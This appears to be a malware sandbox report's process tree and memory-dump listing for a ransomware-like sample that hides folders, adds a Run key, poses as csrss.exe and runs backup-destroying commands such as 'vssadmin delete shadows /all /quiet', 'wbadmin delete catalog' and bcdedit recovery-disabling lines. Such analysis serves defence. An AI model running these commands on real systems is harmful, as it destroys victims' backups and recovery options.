        C:\Users\Admin\Woi1sao\Mf3ogh_\Bw99ofg.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1300
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\ssd\onset\goodram.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1668
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\ssd\onset\81ldp.bat" "
            3⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:748
            • C:\ssd\onset\15sp.exe
              "15sp.exe" e -psion0811 01s.rar
              4⤵
              • Executes dropped EXE
              PID:1896
            • C:\Windows\SysWOW64\timeout.exe
              timeout 5
              4⤵
              • Delays execution with timeout.exe
              PID:1592
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\ssd\onset\Ztestram.vbs"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:916
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\ssd\onset\sata1.bat" "
                5⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1472
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +s +h "C:\ssd\"
                  6⤵
                  • Views/modifies file attributes
                  PID:1348
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 2
                  6⤵
                  • Delays execution with timeout.exe
                  PID:396
                • C:\ssd\onset\mesager43.exe
                  mesager43.exe /start
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Adds Run key to start application
                  • Modifies system certificate store
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1980
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe" -start
                    7⤵
                    • Executes dropped EXE
                    • Enumerates connected drives
                    • Modifies system certificate store
                    PID:1992
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
                      8⤵
                        PID:2256
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          wmic shadowcopy delete
                          9⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2360
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
                        8⤵
                          PID:2268
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                          8⤵
                            PID:2292
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                            8⤵
                              PID:2320
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                              8⤵
                                PID:2344
                                • C:\Windows\SysWOW64\vssadmin.exe
                                  vssadmin delete shadows /all /quiet
                                  9⤵
                                  • Interacts with shadow copies
                                  PID:2460
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
                                8⤵
                                  PID:2384
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic shadowcopy delete
                                    9⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2500
                                  • C:\Windows\SysWOW64\vssadmin.exe
                                    vssadmin delete shadows /all /quiet
                                    9⤵
                                    • Interacts with shadow copies
                                    PID:2652
                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe
                                  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\csrss.exe" -agent 0
                                  8⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  PID:2420
                                • C:\Windows\SysWOW64\notepad.exe
                                  notepad.exe
                                  8⤵
                                    PID:2804
                                • C:\Windows\SysWOW64\notepad.exe
                                  notepad.exe
                                  7⤵
                                    PID:668
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /f /im 15sp.exe
                                  6⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2076
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /f /im 15sp.exe
                                  6⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2120
                                • C:\Windows\SysWOW64\attrib.exe
                                  attrib -s -h "C:\ssd\onset\mesager43.exe"
                                  6⤵
                                  • Views/modifies file attributes
                                  PID:2152
                                • C:\Windows\SysWOW64\timeout.exe
                                  timeout 4
                                  6⤵
                                  • Delays execution with timeout.exe
                                  PID:2164
                            • C:\Windows\SysWOW64\timeout.exe
                              timeout 4
                              4⤵
                              • Delays execution with timeout.exe
                              PID:1776
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Modifies service
                        PID:2528

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            memory/668-45-0x00000000000A0000-0x00000000000A1000-memory.dmp
                            Download

                            memory/700-4-0x000007FEF4D20000-0x000007FEF570C000-memory.dmp
                            Download

                            memory/700-10-0x000000001B580000-0x000000001B581000-memory.dmp
                            Download

                            memory/700-9-0x000000001C420000-0x000000001C421000-memory.dmp
                            Download

                            memory/700-5-0x0000000002360000-0x0000000002361000-memory.dmp
                            Download

                            memory/700-6-0x000000001AAA0000-0x000000001AAA1000-memory.dmp
                            Download

                            memory/700-8-0x00000000023A0000-0x00000000023A1000-memory.dmp
                            Download

                            memory/700-7-0x0000000002450000-0x0000000002451000-memory.dmp
                            Download

                            memory/916-32-0x0000000002660000-0x0000000002664000-memory.dmp
                            Download

                            memory/1300-14-0x0000000003730000-0x0000000003731000-memory.dmp
                            Download

                            memory/1668-20-0x00000000025A0000-0x00000000025A4000-memory.dmp
                            Download

                            memory/1716-40-0x000007FEF5D50000-0x000007FEF5FCA000-memory.dmp
                            Download

                            memory/1808-0-0x0000000006290000-0x0000000006294000-memory.dmp
                            Download

                            memory/1808-1-0x000000000583A000-0x000000000584A000-memory.dmp
                            Download